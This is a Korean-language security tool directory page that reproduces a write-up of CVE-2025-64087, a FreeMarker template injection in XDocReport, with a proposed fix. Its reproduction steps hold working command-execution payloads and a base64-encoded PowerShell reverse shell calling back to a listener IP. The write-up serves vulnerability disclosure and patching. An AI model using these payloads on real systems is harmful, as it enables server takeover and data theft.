Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087(SSTI) | Kitploit
도구/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087(SSTI)

저장소 보기
1156개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-64087 (SSTI FreeMarker)

Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache FreeMarker engine

Bug 정의

취약점 개요

  • SSTI(Server-Side Template Injection)는 콘텐츠 관리 시스템(CMS) 및 웹 프레임워크에서 사용되는 템플릿에 악성 코드를 삽입하여 원격 공격, 민감 정보 탈취 또는 시스템 침투 활동을 수행할 수 있게 하는 웹 보안 취약점입니다.

  • SSTI는 SQL Injection, XSS 등과 같은 Injection 취약점의 변형으로, 공격자가 템플릿 시스템을 악용하여 원격으로 악성 코드를 배포합니다. SSTI 공격이 성공하면 공격자는 서버 측에서 자신의 코드를 실행할 수 있으며, 이를 통해 민감 정보 수집, 시스템 침투 활동 수행, 인가되지 않은 리소스에 접근 등의 원격 공격을 할 수 있습니다.

  • SSTI 취약점은 일반적으로 안전하지 않은 템플릿 시스템을 사용하거나, 입력 매개변수를 템플릿에 삽입하기 전에 검증 및 처리하지 않아 발생합니다. SSTI 공격이 성공할 경우 피해 조직에 심각한 결과와 큰 손실을 초래할 수 있습니다.

비즈니스 영향

  • SSTI 취약점은 다음과 같은 여러 심각한 결과를 초래할 수 있습니다.

  • 악성 코드 실행: 공격자는 이 취약점을 이용하여 서버에서 악성 코드를 실행할 수 있으며, 이를 통해 데이터 탈취, 시스템 상의 불법 행위 수행, 심지어 서버를 완전히 제어할 수 있습니다.

  • 민감 정보 노출: SSTI를 통해 공격자는 서버의 파일을 읽거나, 변경하거나, 삭제할 수 있습니다. 이러한 파일에 계정 및 비밀번호와 같은 민감 정보가 포함된 경우, 공격자는 쉽게 이 정보를 노출시킬 수 있습니다.

  • 사용자 협박 또는 사기 공격: 공격자는 SSTI를 사용하여 웹사이트 콘텐츠를 변경하거나 가짜 사용자 정의 버튼을 추가함으로써 사용자를 협박하거나 사기 공격을 수행할 수 있습니다. 사용자가 이러한 버튼을 클릭하면 공격자는 사용자 정보를 탈취하거나 사용자 컴퓨터에 악성 소프트웨어를 설치할 수 있습니다.

심각도: CRITICAL

image

설명 및 영향

OpenSAGRES XDocReport에서 FreeMarker 엔진으로 DOCX 템플릿을 처리할 때 SSTI(Server-Side Template Injection) 취약점이 발견되었습니다. 특정 구성 하에서 조작된 템플릿은 원격 코드 실행(RCE)으로 이어질 수 있습니다.

인사 관리 웹사이트는 사용자가 .docx 문서 파일을 시스템에 업로드할 수 있도록 합니다. 처리 과정에서 애플리케이션은 FreeMarker 템플릿 엔진(FreemarkerTemplateEngine.java 파일)을 사용하여 ${"freemarker.template.utility.Execute"?new()("whoami")} 콘텐츠를 입력 콘텐츠에 대한 제어 또는 필터링 메커니즘 없이 렌더링합니다. 이 취약점을 통해 공격자는 .docx 파일(템플릿)에 악성 표현식을 삽입하여 서버에서 원격 코드 실행(RCE)을 유발할 수 있으며, 정보 탈취 또는 시스템 제어에 악용될 수 있습니다.

영향을 받는 구성 요소

fr.opensagres.xdocreport.template.freemarker — XDocReport (버전 1.0.0 ~ 2.1.0).

근본 원인 분석

  • https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java 파일에서 입력 xdoc 파일의 콘텐츠를 검사하지 않습니다. 템플릿 콘텐츠가 그대로 로드되어 sandboxing 메커니즘이나 지시문/표현식 제한 없이 process(context, writer, template)에 전달되어 FreeMarker 엔진에 의해 처리됩니다. 결과적으로 공격자는 악성 FreeMarker 표현식/명령이 포함된 템플릿을 제공하여 원격 코드 실행(RCE)을 유발할 수 있습니다.

image

재현 단계

  1. 사용자가 다음 페이로드가 포함된 .docx 파일을 업로드합니다.``` ${"freemarker.template.utility.Execute"?new()("calc")}
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. 성공적으로 실행되어 계산기 앱이 열리는 것을 확인

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. 마찬가지로 시스템에서 실행 중인 사용자 정보를 가져오려면 다음 payload를 사용:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. 템플릿 엔진을 통해 처리된 .docx 파일이 시스템 데이터를 반환한 것을 확인할 수 있습니다.

image

  1. 다음 페이로드도 동일합니다:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. RCE로 영향력 상향

- 수신 대기 중인 머신은 IP 주소 `172.26.208.130`을 가진 WSL입니다.

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- 다음 페이로드를 이용한 익스플로잇:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • .docx 파일을 xdocreport로 처리

image

  • WSL 머신에서 셸이 반환된 것을 확인

image

해결 방법

리플렉션 실행 차단 (가장 안전하지만 빌드 오류 있음)

  • xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java 파일에 다음 내용을 추가합니다.

image

image

제 수정 방법은 ${cuong.name}과 같은 일반 객체와 속성 렌더링을 계속 허용하며, 위험한 내장 함수만 차단합니다.

  • 모든 SSTI 페이로드가 차단됩니다:
    • ${'freemarker.template.utility.Execute'?new()('calc')} - ALLOWS_NOTHING_RESOLVER에 의해 차단됨
    • ${'java.lang.Runtime'?api.getRuntime()} - setAPIBuiltinEnabled(false)에 의해 차단됨
    • ?new() 및 ?api를 사용하는 다른 모든 페이로드가 차단됩니다.

입력 검증

1. 메인 파일 - FreemarkerTemplateEngine.java

경로: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

변경 사항:

  • ✅ 추가된 import: java.util.regex.Pattern
    image

  • ✅ validateTemplateSecurity(Reader reader) 메서드 추가 — 위험한 패턴 검증
    image

도구 다운로드